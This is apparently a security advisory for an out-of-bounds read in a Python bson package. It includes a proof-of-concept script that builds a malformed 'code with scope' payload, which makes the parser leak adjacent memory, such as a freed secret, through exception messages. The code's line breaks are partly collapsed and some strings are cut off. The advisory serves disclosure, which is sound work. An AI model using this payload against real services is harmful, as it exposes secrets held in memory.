Affected versions of this package are vulnerable to Out-of-bounds Read in the bson module. Using the crafted payload the attacker could force the parser to deserialize unmanaged memory. The parser tries to interpret bytes next to buffer and throws an exception with string. If the following bytes are not printable UTF-8 the parser throws an exception with a single byte.

```python import bson import struct

def function(length: int) -> bytes: secret = b'X' * length # do some stuff with secret # ... # variable 'secret' is deleted here # but it's still stored in memory

def generate_payload(length: int) -> bytes: string_size = length - 0x1e

return bytes.fromhex(
    struct.pack('<I', length).hex() + # payload size
    '0f' + # type "code with scope"
    '3100' + # key (cstring)
    '0a000000' + # c_w_s_size
    '04000000' + # code_size
    '41004200' + # code (cstring)
    'feffffff' + # scope_size
    '02' + # type "string"
    '3200' + # key (cstring)
    struct.pack('<I', string_size).hex() + # string size
    '00' * string_size # value (cstring)
    # next bytes is a field name for type \x00
    # type \x00 is invalid so bson throws an exception
)

def deserialize_payload(payload: bytes) -> None: try: obj = bson.decode(payload) # throws exception print(obj) # unreachable code except Exception as e: print(e)

print('

uses secret internally

function(0x50 + 0x0F)

payload could be read from stdin or similar

payload = generate_payload(0x50) deserialize_payload(payload)

print('\n

for i in range(5): # payload could be read from stdin or similar payload = generate_payload(0x54f + i) deserialize_payload(payload) ```

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